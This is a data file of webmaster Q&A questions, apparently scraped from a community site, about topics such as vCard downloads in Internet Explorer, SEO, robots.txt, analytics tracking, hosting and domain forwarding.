{"id":"6937","title":"internet explorer can't open vcard","text":"On my company's website, we have various professionals listed with links to download their vcard. We want to include a link to the vcard in email signatures, however when clicking a link to a vcard contained in an email doesn't work in IE (IE displays a \"cannot download\" error). I've inspected the response from the webserver using Fiddler, and the vcard response is exactly the same when viewing the link on our website vs clicking the link in an email. Also confirmed that copy\/pasting the link to a vcard into IE's address bar yields the same error as clicking the link in an email - IE won't open it. It almost seems as though IE can't open a vcard unless you click a link (on a website) to the vcard. Going directly to the vcard doesn't work. **EDIT:** We're seeing this issue with IE7 and IE8 only. Vcards open consistently with Firefox or Chrome. The server response is shown below (edited to remove personal identifying info). I ran a diff between successful and failed responses in Fiddler and the only difference was the timestamp in the Date and REV fields. HTTP\/1.1 200 OK Cache-Control: no-cache, no-store Date: Mon, 20 Dec 2010 21:16:43 GMT Pragma: no-cache Content-Length: 495 Content-Type: text\/x-vcard; charset=utf-8 Expires: -1 Server: Microsoft-IIS\/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: website#lang=en; path=\/ BEGIN:VCARD VERSION:2.1 N;LANGUAGE=en:LastName;FirstName;E.;; FN:FirstName E. LastName ORG:Company Name, LLP TITLE:Attorney TEL;PREF;WORK;VOICE:+1 999.999.9999 TEL;PREF;WORK;FAX:+1 999.999.9999 ADR;WORK;PREF:;;Suite 9999, 5555 Somewhere Street;Atlanta;GA;30309-4528;USA URL;WORK:http:\/\/www.website.com EMAIL;PREF;INTERNET:PERSON@Website.com NOTE;ENCODING=QUOTED-PRINTABLE:Bar Admission(s) - Georgia (1900); Kentucky (1900)=0D=0A REV:20101220T211643Z END:VCARD"}
{"id":"8697","title":"Looking for non-paid heat map tools for website analytics","text":"I'm looking for a heat map solution to track my users' behavior on my website, preferably free of charge. I've already googled a little bit and here is what I found so far. Still I would like to ask for some first hand experience, that'll help me make a better pick. Thanks for your help."}
{"id":"8123","title":"What's the best way to version CSS and JS URLs - part 2","text":"This is a follow up question on the following question What's the best way to version CSS and JS URLs Both of the solutions mentioned there would require modification to the files where the css and js file URLs are mentioned. So in effect it would require a restart of the application server after making the changes. Is there a better way, where versioning of static files can be handled without having to restart the Application server ? the following is ruled out in the solution * changing the css and js filenames * passing a query paremeter in the url * the solution also should not affect setting cache-control or expires. thanks"}
{"id":"8122","title":"Which Adult Ads Service is best \/ highest paying","text":"I have a sex education & sexual health website. As evident, I can not place Google Adsense and Adbrite advertisements as they disallow mature content and even remotely anything related to it. Now, I want to know what are the other options I have for showing up ads. **I do NOT want to place very obscene and nude ads.** But, I would like to have some kind of ads on website to make it sustainable. So, what options do I have ? Which adult advertisement publisher gives highest payouts ?"}
{"id":"8121","title":"How do I set a price for advertising on my website?","text":"I have a website that I would like to advertise directly to advertisers (without using adsense, doubleclick, etc..). How do I find out a ballpark figure of what I should ask for in terms of CPC or CPM? Are there any published reports or averages I can refer to? Any advice in setting\/negotiating a starting point for price?"}
{"id":"42984","title":"how can I find out which websites are linking to mine?","text":"How can I have a RSS of new sites that link to mine? I would like to know which sites are linking to us. Is there any way to do that?"}
{"id":"7709","title":"How can I allow robots access to my sitemap, but prevent casual users from accessing it?","text":"I am storing my sitemaps in my web folder. I want web crawlers (Googlebot etc) to be able to access the file, but I don't necessarily want all and sundry to have access to it. For example, this site (superuser.com), has a site index - as specified by its _robots.txt_ file (http:\/\/superuser.com\/robots.txt). However, when you type http:\/\/superuser.com\/sitemap.xml, you are directed to a 404 page. How can I implement the same thing on my website? I am running a LAMP website, also I am using a sitemap index file (so I have multiple site maps for the site). I would like to use the same mechanism to make them unavailable via a browser, as described above."}
{"id":"50749","title":"How can I create my authorship markup on a page that I’m going to syndicate on other sites?","text":"In an interview Google Web Spam Team Head Matt Cutts stated that **“Syndication can be a valid way to either increase your reputation or to drive traffic and potentially to get more links. The main caution that I would add is that there are some mechanical things that you should pay attention to and try to make sure that you get right.”** He also stated that **“Things like rel=canonical help. Embedding a link within the text of the article itself never hurts. Ideally, you’d want to insist on some sort of attribution on the syndicated page. You can use authorship markup. So if you are also publishing the article on your site, you want to try and do these mechanical things so you are still seen as the original author.”** I know how to use rel=canonical in a page and also to create an authorship markup for a website but I don’t know how to create authorship markup for a webpage that I want to syndicate to other sites? Does publishing content of our webpage into others sites by only indicating Authors name and website is enough for authorship markup? For more information related to that interview visit : http:\/\/www.stonetemple.com\/link-building-is-not-illegal-or-bad\/ See the below image "}
{"id":"31071","title":"Google Analytics - campaign and transactions tracking","text":"I am using Google Analytics to track visits and transactions for my website. If someone is clicking on my campaign and don't buy at the same time but will visit my website the next day and then buy - will that be linked to my campaign or not? So what is the booking window (in days) in Analytics for campaigns. I am using Google URL builder to track campaigns I am running."}
{"id":"19188","title":"Track actions of paying customers","text":"I'm looking for software that can analyze my Apache log files (or some other source) and tell me, from the visitors that actually bought something from my site, some profiling information; like time of their first visit, how long they spend on my website, what the original referral was, etc? In principle a tool like Awstats provides a lot of information, but I'd like to have it filtered to individuals. Edit: Instead of Apache log files \/ using IP addresses, I'm also happy to add something like php code to my site to identify returning visitors."}
{"id":"61380","title":"Basic semantic rules of CSS (and HTML), right or wrong?","text":"Here is the summary I've recently learnt from discussions on this site (and similar) of 4 basic rules, so please correct me if I'm wrong or misunderstood something: **a)** Don't use IDs in CSS (or use it as few as possible) **b)** Use as many descriptive elements as possible such as `article`, `section` … instead of `div` **c)** Name classes according to the content, not appearance **d)** Don't use too many classes: \"Don't give elements a class just because you can. It adds noise.\" (I don't know how to achieve this one though, because almost every element needs a class. If it's a section, there is another `section` elsewhere with different looks. Same goes for the `article`, etc.) This is kind of \"philosophical\" question, but the goal is to set some things straight for all readers to benefit; having constantly in mind the **rule of separation of content and presentation.**"}
{"id":"55717","title":"How to delete Analytics property from list in Webmaster Tools?","text":"When I look at the _Google Analytics Property_ page in Webmaster Tools (where you associate a Google Analytics web property with a Webmaster Tools site), I see a list of a bunch of properties with weird names. They are test properties from when we were trying things out years ago. I can't view them or change their name in Analytics because they don't exist there. All their profiles were deleted years ago. Is there a way to remove these from the list in Webmaster Tools? Or, alternatively, a way to view them again in Analytics so I can give them a better name, at least. I know this doesn't matter in the big scheme of things, but I hate clutter."}
{"id":"55715","title":"Multiple IP addresses for one SSL certificate","text":"Is it possible to register an SSL Certificate for Multiple IP addresses? This is needed for one of my sites; which runs on two different servers with different IP addresses. One server is live; while other stands backup server. If live server goes down; we go live with backup server temporarily. Is it possible to buy one SSL with multiple IPs? or in worst-case; is it possible to have separate SSLs for both IPs but single domain name?"}
{"id":"19185","title":"Why alexa doesn't crawl my site?","text":"I was waiting for already 1 week and alexa still not recognize my site. I already put a robot.txt in my site. Locating in www.mydomain.com\/robots.txt User-agent: * Disallow: \/ Please suggest why this happening, Thanks."}
{"id":"42678","title":"WCAG Questions about a web page issuing erorrs if cookies are disabled","text":"I have a question regarding the web content accessibility guidelines. I have been asked to review whether a web application respects the WCAG 2.0 AA web standard. I have to indicate the criteria that are in error, with suggestions on how to correct them. In the application, there is a page that requires cookies to work properly. If the user has disabled cookies, there is a generic error message that appears. > # Error occurred > > Internal error occurred while processing your request. > > Please try again later. In my opinion, this would fail on the criterion 3.3.2 Labels or Instructions > The intent of this Success Criterion is to help users avoid making mistakes > when their input is required. To help avoid mistakes it is good user > interface design to provide **simple instructions and cues** for entering > information. Some users with disabilities may be more likely to make > mistakes than users without disabilities or recovery from mistakes may be > more difficult, making mistake avoidance an important strategy for users > with disabilities. **People with disabilities rely on well documented forms > and procedures to interact with a page**. Blind users need to know exactly > what information should be entered into form fields and what the available > choices are. Simple instructions visually connected to form controls can > assist users with cognitive disabilities or those accessing a page using a > screen magnifier. > > The intent of this Success Criterion is not to clutter the page with > unnecessary information but to provide important cues and instructions that > will benefit people with disabilities. Too much information or instruction > can be just as much of a hindrance as too little. The goal is to make > certain that enough information is provided for the user to accomplish the > task **without undue confusion or navigation**. However, some elements of the criterion seem to be focusing on user input. I think this would also fail the 3.3.3 Error Suggestion criterion since there is an error and possible solutions are known. However, 3.3.3 also seems to be focusing on user input. This could also be a user experience issue that falls beyond the scope of what I was asked, but should I mark those criteria as failed ?"}
{"id":"67928","title":"Google Webmaster Tools Data Highlighter says \"Failed to load data, please try again later\"","text":"I seem to be unable to access the data highlighter in Google Webmaster Tools since I attempted to start a new highlight on a page. Clicking the red Start Highlighting button to open the tagger did nothing, so I refreshed. Now, the page loads without the middle content section, then a few seconds later shows the following error: >  Failed to load data, please try > again later. I can't get any of the middle section to load, even the list of current pages\/page sets that have been highlighted—this error shows. I thought it may be a Google service outage, but other sites' data highlighters work fine. It also seems coincidental that it stopped working after I attempted to start highlighting—I was able to list the existing pages and page sets fine before that, and still am able to access the service on other sites. I've tried clearing browser data and have tried Google Chrome as well—same problem. What's happened? "}
{"id":"8345","title":"How much to charge for Wordpress installation?","text":"I know this isn't properly a technical question but I hope this is ok here. The question is simple: **how much should I charge a customer for a Wordpress installation & configuration?** Configuration simply means I have to install him a theme (which is not provided by me), various plugins and maybe edit some lines of code here and there to make the whole thing work fine. **MORE INFO** I don't do this for a living, I'm just doing this for this single customer. He told me he wants to customize some features of the blog which I think will require a bit of code editing, but these will be small modifications, because I already told him that more substantial modifications will be billed separately. I don't know exactly how long will this take, but probably just 1 day for the setup and some more days to adapt the blog to the customer requests which will eventually come up later"}
{"id":"8344","title":"Email provider - suggestions needed","text":"We are looking for a good way to have email support. In theory, we need to allow end-users to send emails directly to support and careers. i.e. support@domain_name_here.com and careers@domain_name_here.com. Second, we need to provide emails to our staff. So each staff member has their own email address. i.e. joe@domain_name_here.com, meghan@domain_name_here.com, etc. Google Apps is one that we are considering. However, they are charging $50 per user, per year. Not so bad, considering the quality and the features they offer. However, there are also cheaper alternatives. i.e. my domain registrar offers an email plan for $20 \/ year \/ 10 emails. Go Daddy has a number of plans and still a lot more affordable than Google Apps. So far Namecheap and Go Daddy are the only ones I have looked at for email plans. Is it worth signing up with Google Apps? Or are there better alternatives? Your thoughts?"}
{"id":"51014","title":"Google follows disabled options on \"get\" forms","text":"I have the following `get` form on my website for language switching. <form method=\"get\" action=\"?\"> <label for=\"language\">Language: <\/label> <select id=\"language\" name=\"lang\"> <option disabled=\"disabled\" value=\"es\">Espanol<\/option> <option disabled=\"disabled\" value=\"da\">Dansk<\/option> <option value=\"de\">Deutsch<\/option> <option value=\"en\">English<\/option> <option disabled=\"disabled\" value=\"fr\">Francais<\/option> <option disabled=\"disabled\" value=\"it\">Italiano<\/option> <\/select> <input type=\"submit\" value=\"GO\"> <\/form> This constructs URLs of the form `\/?lang=en` and note that currently my site only has the following URLs available: * `\/?lang=en` * `\/?lang=de` Visiting anything else (e.g. `\/?lang=fr`) returns a `404` so Google does not index them. What is a problem though is that the Google Webmaster Tools shows all disabled languages as broken links even though I've marked them with `disabled=\"disabled\"`. I want to stop Google from trying to visit those links but I cannot use `rel=\"nofollow\"` on those disabled options because I don't think that `rel` is a valid attribute of `<option \/>`. What should I do? Note that I don't want to remove the disabled options from the form."}
{"id":"33933","title":"Is it possible to know impressions of other websites?","text":"Google Webmasters's Dashboard gives you a big number which is called **impressions** , and that I've seen in Google Analytics. By definition, it means the total number of times your site has been become eligible for SERPs. I just don't have an idea how to interpret this number, and how much its increase or decrease mean to me, because I can't compare it with other websites. I mean, if the impressions of say site `a.com` are 150,000, and the impressions of my site are 50,000, then maybe it implies that I need to triple my efforts to reach the impression rate of `a.com`. Yet, by seeing 50,000 impressions alone, I have no clue at all of how to interpret it. Is there any service or other way to know about the impressions Google gives to other sites?"}
{"id":"53241","title":"SEO Meta Tags: Is it better to have empty meta content or no tag at all?","text":"Basically, for pages that may not have a description or tags set, is it better to have <meta name=\"description\" content=\"\" \/> <meta name=\"keywords\" content=\"\" \/> or just skip the tags altogether for those pages that don't have the information set?"}
{"id":"28924","title":"Lots of repeated code in website?","text":"I'm a playing around with website building by following the tutorials of user \"createthenet\", a.k.a. Timothy, on YouTube. The steps to follow are simple enough, but I notice that what he often does is begin with a template, then build pages off of that template. Not to advertise on his behalf, but I'll use his site as an example. When I click on \"Welcome\", \"About\", \"Tutorials\", etc., most of the site, such as the header area, remains the same. This saves work when building the site, but suppose I had 50 pages all with the same header area. Then if I decide to change the header area. I'd have to modify 50 files. Is there a better way of achieving this so that I can modify the header in one file, and it'll be reflected in the other 49?"}
{"id":"29977","title":"Why is BingBot causing so many 404 errors by removing letters from url's?","text":"Since the ForceRecrawl problem went away Bing has come back with some new trends. I'm seeing many URLs missing the last letter, or missing a few letters, and some other wired guess URLs. It also looks like I'm not the only one. I'm not getting these URLs from any other bot, and I regularly run a link checker over my site to check for dead links, so they're not coming from my pages. I wish Bing (and maybe all bots) would at least include one referrer in the request header to let us know where they got the link from (I know they might have more than one reference, but having one is a nice start). I'm also having trouble understanding Bing's indexing strategy, they index about 25% the number of pages that Google indexes, then they suddenly throw half of them out and start building up again slowly. Is Bing is trying to alter the URL's and see if it can navigate to pages by \"guessing\" URL's instead of harvesting them from the normal navigation mechanism? Maybe they cannot master parsing Javascript menu's? I don't know, but they are doing something crazy! Slightly off topic, but a nice conspiracy theory: There's another bot called \"Ezooms\/1.0\" that's doing something similar: it adds spaces behind dashes it finds in URLs. (I think it's always after the first dash in the URL). By comparing the patterns, I'd almost think these two bots have been written by the same developer (though the mysterious Ezooms has a gmail address added in the user agent string)."}
{"id":"60548","title":"Best way to handle ignored Rel=Canonical?","text":"My Google Analytics is reporting organic traffic for URL's with a QueryString attached, even though there's a Canonical tag that points to the preferred (non-QueryStringed) version. Would the best way to handle this be the GWT URL Parameters Tool? I'm fairly unfamiliar with the tool, but after some research, it looks like this might be the best way to go. Does anyone have any good\/bad advice for using the tool? Thanks!"}
{"id":"60549","title":"How do you test non-live sites before switching DNS?","text":"I have a few websites that I need to move to a new server - how would I test that they work before switching DNS? What URL would I navigate to?"}
{"id":"55857","title":"Google Analytics Status: Tracking Not installed","text":"I set up a website, and below is my main page. As you see I have added the tracking code, but when I login to google analytics, I see Google Analytics Status: Tracking Not installed. If you think there are no mistakes in below codes, how can I debug to find the problem ? <!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.01 Transitional\/\/EN\" \"http:\/\/www.w3.org\/TR\/html4\/loose.dtd\"> <html xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\"> <head> <meta http-equiv=\"Content-Type\" content=\"text\/html; charset=UTF-8\" \/> <title> mysite is coming soon <\/title> <style type=\"text\/css\"> .headerText { width: 550px; margin-top: 10%; margin-right: auto; margin-left: auto; font-size: 28px; font-weight: normal; display: block; text-align: center; } .bodyText { width: 550px; margin-top: 15px; margin-right: auto; margin-left: auto; font-size: 14px; font-weight: normal; display: block; text-align: center; } body { margin-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; background-color: #222222; color: #FFF; font-family: Arial, Helvetica, sans-serif; } <\/style> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','\/\/www.google-analytics.com\/analytics.js','ga'); ga('create', 'UA-12345678-1', 'mysite.com'); ga('send', 'pageview'); <\/script> <\/head> <body> <span class=\"headerText\"> http:\/\/www.mysite.com <\/span> <br\/> <span class=\"bodyText\"> is coming soon <\/span> <\/body> <\/html>"}
{"id":"61569","title":"Are there any advantages from an SEO perspective to remove the \"\/category\/\" base from the permalink?","text":"On an WordPress site, there are ways to remove the `\/category\/` base from permalinks. Is there an advantage or a disadvantage for SEO to doing this?"}
{"id":"26324","title":"Can the blog subdomain take precedence over my own domain in search engines?","text":"Suppose I create a blog with SomeName in blogger.com or tumblr.com. So the address is SomeName.blogger.com or SomeName.tumblr.com. I need some clarification as to the situation when I want to use MyOwnDomain.com for the blog: 1. If I simply go to the control panel of my domain registrar and setup MyOwnDomain.com to redirect to SomeName.blogger.com, then I shall expect that the blog will show up in search results as \"SomeName.blogger.com\"? 2. If I add MyOwnDomain.com in blogger control panel and edit the A and CNAME records of MyOwnDomain.com with the information provided in blogger, then the blog will show up in search results as MyOwnDomain.com? Is this guaranteed? Are there any other SEO dangers to using Blogger or Tumblr when you want to promote your own domain?"}
{"id":"26325","title":"Google Optimizer code, validation and cdata","text":"I ran my site through the W3C validator, and a bunch of errors were caused by the Google Website Optimizer javascript. It seems weird that would happen. If I put CDATA around it, the error go away. I _assume_ that the code will still work? So, I'm wondering if there's ever a time it's bad to put CDATA around javascript? and Why would Google's javascript snippets not validate in the first place?"}
{"id":"22128","title":"Did Google Delete my index?","text":"I have a website that I haven't had much time to take care of. I updated it 4 times since last October, the contents are all original and informative. I can see those cache from Way back Machine and the site was indexed in Yahoo, but not in google. Did I get my index on Google deleted because I did not update it often? Normally Google crawl often and index fast, I just got really worried if I did something wrong. Is it possible that I set something wrong in the hosting or something?"}
{"id":"32190","title":"Why deny access to website for msnbot\/bingbot?","text":"I've seen quite a lot of tutorials that recommend you to ban user agents containing the strings libwww-perl and msnbot. I understand why one would ban libwww-perl, it's mainly if not only used for hacking and spamming. But why are there so many sites recommending to ban msnbot\/bingbot? Since it's a search engine, even if only with a marginal market share, I would except one would want this bot to crawl one's sites. What is it that msnbot does that makes people ban it?"}
{"id":"32191","title":"SEO: make the home page location specific or add a new page for location?","text":"My homepage is coming up on the first page in Google search, main keyword is \"balloon decorations\". We provide local service in several cities, but homepage does not mention the location, visitor has to go to \"contact us\" page to see the list of cities we service. I was given an advice by SEO company to optimizing the homepage to (Boston balloon) and (Boston balloon decorations) to make it location specific to get listed in the searches with keyword (balloons) originated from Boston. Then make landing pages for the other cities, and put link from home page to them. There are a few things I need help with: 1. If I do that, will I sill keep the place on the first page in search for \"balloon decorations\"? Should I leave (balloon decorations) in meta tags? 2. What are my chances to get on the first page of search with new keyword phrase? 3. Is it better to leave the home page as is and add one more landing page for Boston? I was told, that it would not be very effective and will take a long time for the landing page to come up on first page of search."}
{"id":"22125","title":"General website publishing questions involving domain forwarding issue","text":"Even though I have been having a certain level of knowledge and experience about web development I have never interested in obtaining a domain and publishing a website from my own server. Since today I have been struggling with getting my own domain and configuring it utilizing web sources. I started with learning the outline of web publishing process including web server installation, deploying a website for testing purpose,router port forwarding, getting a domain and forwarding domain to my router which will also forward http requests to my web server I am confused about some parts and so far could not get the web site accessed from outside of the network. All I try to do is just for learning purpose so I do not pay much attention to security issues for now. I have Server 2008 and IIS 7.5 installed. I use a laptop and have access to the modem over wireless and my modem is Zoom x6 5590. Well I will continue explaining what I have done so far and what I think will be after each action I did, I have successfully had access to my website on any local computer entering the internal ip address and port pair of the host machine in a browser. Next, I forwarded port 80 of my host machine creating a virtual server like 10.0.0.x(internal ip(static) of the host) - TCP - start port : 80 - end port : 80 in router options. Now I suppose every request that will come to the public IP on port 80 will be forwarded to my host machine(10.0.0.x) over port 80. So If everything went as desired, the website listening on port 80 will accept the request and process the issue and finally respond bla bla bla... I suppose to access my website from outside of the network by entering `http:\/\/MyPublicIp:80` in a browser but I couldn't accomplish this task by now despite using Godaddy's domain forwarding tool,I see a small view of my website when I click the \"preview\" button that checks whether the address(`http:\/\/publicip\/Index.aspx`) I entered where my domain will be forwarded is available or not. I am sure that configuring domain does not play a role in solving such a problem since using public ip and port matching does not help. So here is the first question, What is the fact that I face this problem? After that, I have couple of question regarding domain forwarding using Godaddy tool. Can I forward my domain to a any port for example port 8080 other than default HTTP port 80? Additionally, can I use a sub-domain to forward to a different port of the host? What I want to design is if the client enters `www.mydomain.com`, website1 will respond over a specified port and after when a client enters `info.mydomain.com`, another website which listens on different port will respond. I tried to add a sub- domain and forward it to a address like `http:\/\/www.mydomain.com:8080\/Index.aspx` with no success. Can I really do that? Finally, what if I have a ftp site listening on the default port 21 and I create a domain like `ftp.mydomain.com` that will forward to that ftp site address. Is it possible to use sub-domains for ftp site access? I know I am more than confused but no matter whatever and however you reply to me, you will help me have a more clear view on this subject. Thank you very much from now. * * * To be more clear, I have already had an application that is actively listening on port 8080 and furthermore I have configured my router to forward any incoming request on port 8080 to my server ip and port point. Unfortunately unlike doing the same for port 80, I resulted in no action. Perhaps you know when you forward your domain name to your host ip - port - uri location using Godaddy tool, you have the chance to see what page actually a domain will forward. So no preview was shown as a result. Again, a program listening on port 80 and incoming request for port 80 is being forwarded on router successfully and when I configure my domain to forward that location I see the small preview which will prove that it works. But applying same thing for port 8080 shows no preview which I think something causes fail for it to work. Questions 1 - When I want to forward domain to specific location, I get only HTTP\/HTTPS protocols available. Does that mean that I cannot forward any sub-domain to a ftp application? If not so how? 2 - There are actually two things that confuse me. A - Even though I have configured everything as far as I know to access a web page, still no access from outside of the network.I have neither virus program installed nor windows firewall open for testing purpose. The steps I have taken; * On IIS 7.5, created a website listening on port 80 and a web page called Index.aspx located at the root of the web site. * Router is configured to forward any incoming request through port 80 to my local computer(has static Ip) where the web server is running. * have register a domain and forwarded that domain to `http:\/\/mypublicIp:80\/Index.aspx`. * The result is when I click the preview button on Godaddy tool for forwarding the domain, I truly see the page where the domain points in a small preview screen but when I try to access it from a computer on the internet, nothing happens. B - When I publish the same web site on port 8080 and have the other configurations done, on Godaddy tool, I write `http:\/\/mypublicIp:8080\/Index.aspx`, I get no preview of the web page. I did actually the same but no luck."}
{"id":"13768","title":"Easy user management on html site?","text":"I hope I'm not asking a question for which the answer is obvious...If I am, apologies. Within my html site (i.e. not Wordpress, Joomla, etc.) I want to be able to have a level of user management. That means that some pages I want to be only accessible to certain people with the correct username and password. What's the best way to do this? Are there any available scripts out there? I guess I'm looking for a free\/open source version of something like this: http:\/\/www.webassist.com\/php-scripts- and-solutions\/user-registration\/"}
{"id":"68578","title":"should you let search result page to be indexed","text":"I have a pages of a catalogs, which contains a list of keywords of all products inside that catalogs, and I want to create a link from those keywords to a search page. For example, if the page contains a keyword of `television 24\", electronic, sound system`, if user click on each of the keyword, it will open a page `\/search\/television 24\"` for example. Should I let those pages indexed or should I block it with `robots.txt`?"}
{"id":"4070","title":"Do search engines remove pages from the index for any 400 range status code return?","text":"Do search engines remove pages from the index for any 400 range status code return? We are using 400 range HTTP codes to differentiate messaging for different categories of pages when a particular type of content is not found. There are some concerns that this content will not be removed from the search engine indexes as they would be if a proper 404 response is returned. Has anyone used this method before to return customized error messages that can validate that these other codes are indeed removed from search engine indexes?"}
{"id":"19454","title":"How to customize icons used by Facebook wall?","text":"When you share a link from The Globe and Mail to your Facebook wall, you get a little custom icon (maple leaf) next to the \"Like\" button, instead of the usual general page icon. Looking at the Facebook page source, you can see that the icon is stored here. However, going back to the Globe and Mail page and looking at its page source, it's not clear where this icon is actually coming from. At first I thought Facebook was grabbing the site's favicon.ico or iPhone icon. But if you compare the icons, they are clearly different both in color and in shape, not to mention size.    Is this something Facebook has done on its own end? Or is this something any webmaster can control for his own website? "}
{"id":"5796","title":"What would be a good web based open source or low cost learing collaboration tool for high school students?","text":"Have about 60 kids that are working on a science projects in two groups. Each group would like a web portal where they can discuss topics relating to what they are building, post questions, pictures, videos, and keep their project going while not always in the same class room. Also, I would like to host it personally and not have it accessible to the entire web. What would you suggest for such a requirement?"}
{"id":"5794","title":"Email hosting for managing emails across many domains","text":"I wanted to get peoples thoughts on integrated email hosting solutions. As a webmaster\/web developer, I own many domains and would ideally like to incorporate all those emails into 1 interface, like I can with Outlook on my desktop. However, because I have a day job, I do not want to load all my email accounts into my work Outlook, yet want to check it periodically. I am also tired of having all these emails forwarded to my personal email, since my responses are then going to be from the personal email. This pushes me in the direction of Outlook's web access feature. Outlook is just fine for me, as I can create sub-folders within folders for my emails, and archive mail I dont readily need. However, when reviewing prices online, it looks like to have this ability, I'd have to pay $5\/$10 per email account per month. If I want to make 15 accounts, that's $150\/mo just to use the web access feature. I may as well buy my own email server for that much. Are there low-cost alternatives to what I'm looking for? Perhaps there is a company that does it for much less than those I've found so far? What do you guys do to effectively manage multiple-domain email accounts as a webmaster? Thanks!"}
{"id":"19459","title":"How to SEO a search only website?","text":"I am in the progress of building a website for a client of mine and something worries me. Basicly, the client wants a google like site ( search - display results ) just for companies ( like a phonebook directory of companies ). I have built the website with only one page ( front page ) which also provides the search results. What worries me is how can that site rank on search engines? Would the content on the front page should be suffice for ranking? Can you think of any other problems I might have from using this type of system?"}
{"id":"52296","title":"Is there evidence that linking to quality, reputable and popular website helps with ranking?","text":"Is there any evidence that linking to external quality, reputable and popular websites helps with ranking (directly or indirectly)? Is there an established correlation? Some posts on the web do claim it, but without providing any evidence. It is known that if your website links to bad neighborhood, this will harm your reputation and authority, but does the reverse actually help? And, does it matter if the website is young or old in this case? **Update** I have found this Moz video revealing there is a 0.04 correlation with ranking."}
{"id":"55754","title":"Can too many shortened URLs trigger a ranking penalty?","text":"There are many URL shortening services available on the net, any of which could shorten the URLs. Can too many shortened URL trigger a penalty? Has anyone observed this? P.S. I am analyzing a backlink profile for a website."}
{"id":"3638","title":"Which of this is search-engine friendly - google?","text":"Which of this is search-engine friendly - Google? 1. www.example.com\/keyword 2. www.keyword.example.com 3. www.example.com\/keyword1-keyword2 Please explain the logic behind while answering and rate them. Give me some more tips about subdomain SEO, like www.keyword.example.com"}
{"id":"35405","title":"Home pc as server","text":"My dns A-record point to my home PC IP that most of the time is down. Does this fact can cause any troubles with my registrar or there is nothing to be worried?"}
{"id":"60382","title":"Will Duplicate Websites Hurt Local SEO?","text":"So, lets say I do marketing for Unicorn Vendors. There are unicorn vendors in every city in the US. I'm tasked with creating websites for my clients. Will it hurt my local SEO rankings if I make a generic website that applies to all unicorn vendors, but use different domains\/logos\/header and title text for each client?"}
{"id":"35401","title":"Is AdWords ad blocked from top spots of SERPs until it is reviewed?","text":"I have an AdWords ad and a keyword with a Quality Score of 10. Inferring from CPC from actual clicks, max CPC is set way beyond that of the third advertiser from the SERP for this keyword (there are three ads in the top). Still the ad is shown on the 4th spot which located either on the right or at the bottom of the SERP. The only catch is that the ad's status is \"under review\". Is it the reason why it's blocked from the top spots?"}
{"id":"35400","title":"Is making AJAX site crawlable AND degrading gracefully with JS turned off possible?","text":"According to this spec, making AJAX site crawlable by Googlebot means that you have to use hashbang (#!) links in it which means it won't degrade gracefully when JS is turned off. This might mean that crawlability and graceful degradation are mutually exclusive. Is it in fact so? Is there something that can be done about that?"}
{"id":"11406","title":"Recent statistics on HTML usage in the wild?","text":"I have seen some fascinating statistics about what HTML markup is actually in use on the web. There is Web Authoring Statistics from Google in 2005, and MAMA from Opera in 2008. Have there been any similar studies more recently than this?"}
{"id":"57712","title":"Prevent Googlebot from following JavaScript redirect","text":"I run a website called isitsnowingoutside.com as kind of an experimental project. As I am still learning- it is far from perfect. The basic premise is the site uses your location to determine if it is snowing. Currently I have it setup to use the new javascript geolocation. If the user denies access to that or it simply doesn't work there is javascript redirect that will forward the user to a page where I attempt to find their location by IP address. Currently I have the javascript redirect wait 10 seconds. Unfortunately, when google indexes my site it follows that redirect and the search results display the url for Mountain View- not my homepage. I tried adding no-index to the subpages in my site but now it just doesn't show up in the results at all. Any ideas?"}
{"id":"11403","title":"Someone registered a domain through google, how can I redirect that url to another site?","text":"I need to be able to automatically redirect a URL that was registered with Google to another URL. No access to server or anything like that. Is there a way to do this with just messing with the DNS?"}
{"id":"11402","title":"SQL Server and hosting","text":"I'm looking for an ASP.net webhost, to run my site with an SQL Server database. I've found a good host, but like all of them, adding on SQL Server costs a fortune for some reason, or I can just use SQL Server 2008 R2 Express for free on them. * Is SQL Server 2008 R2 Express good enough for a medium size website? * What are the limitations with SQL Server 2008 R2 Express?"}
{"id":"44969","title":"Google Sites: code block - how to disable wrapping","text":"I'm using Google Sites to host the wiki-like website. I noticed that code blocks have text wrapped in them. Instead, I would like to have the code non-wrapped and with horizontal scrollbar when needed. Has anyone accomplished this? I would like to do this without Html-markup editing of each post that contains a code block."}
{"id":"19980","title":"cost for hosting a largish online radio station","text":"How much does a connection for an internet radio station that feeds maybe a 100K users cost to the company that provides it? Do you have to be in a special location to get such an upload capability or do you send it to broadcasting company, and if so how much would that cost?"}
{"id":"32754","title":"Is there a third party JavaScript that adds Facebook Chat style messaging to a site?","text":"I'm looking for a service (happy to pay) that will provide Facebook style chat to users of my website. I'd expect it to work somewhat like Disqus but probably require a bit more work to implement user account integration."}
{"id":"49566","title":"PHP framework for this specific use case","text":"I have to develop a site like `http:\/\/www.monster.com` with these standard set of features: * Users should be able to register, login, create their profile, upload their resume and photo. * Site Admin(s) should be able to post jobs. All the users whose profile matches the posted jobs should be notified of the new job. I have one year experience in PHP, but haven't used any frameworks (CMS) up till now. I looked at WordPress, Laravel, CakePHP, Drupal, Joomla, etc. but couldn't decide which one to choose."}
{"id":"45605","title":"Who is Automattic and why are they visiting my non-Wordpress site so often?","text":"Of the various people and organizations that have engaged in scraping activity, Automattic is one of the strangest. They have numerous independent IP ranges, as if they know they will be blocked so they want to make it hard. But who are they? Why are they scraping my site? **Update** By scraping I mean excessive unwarranted visits to my non-WordPress site. Like visiting the same page 10 times in under a minute. Or visiting every day. I've had to ban their many IP ranges, which are ranges located in many geographical regions."}
{"id":"38860","title":"Doing affiliate program with shops who don't have a program already set up","text":"I am developing an online shop which has managed to agree with other shops to a comission per sale. Now, the problem, is these other shops don't have any kind of affiliate system. So my question is, is there any way we could arrange an easy way for this? They don't plan to develop anything as they are small shops, so... my only guess right now is to control on my site how many times the links to them have been clicked to have an estimate of potential clients, but don't know how they can know that user came through my site and purchased something. Thank you very much for your help!"}
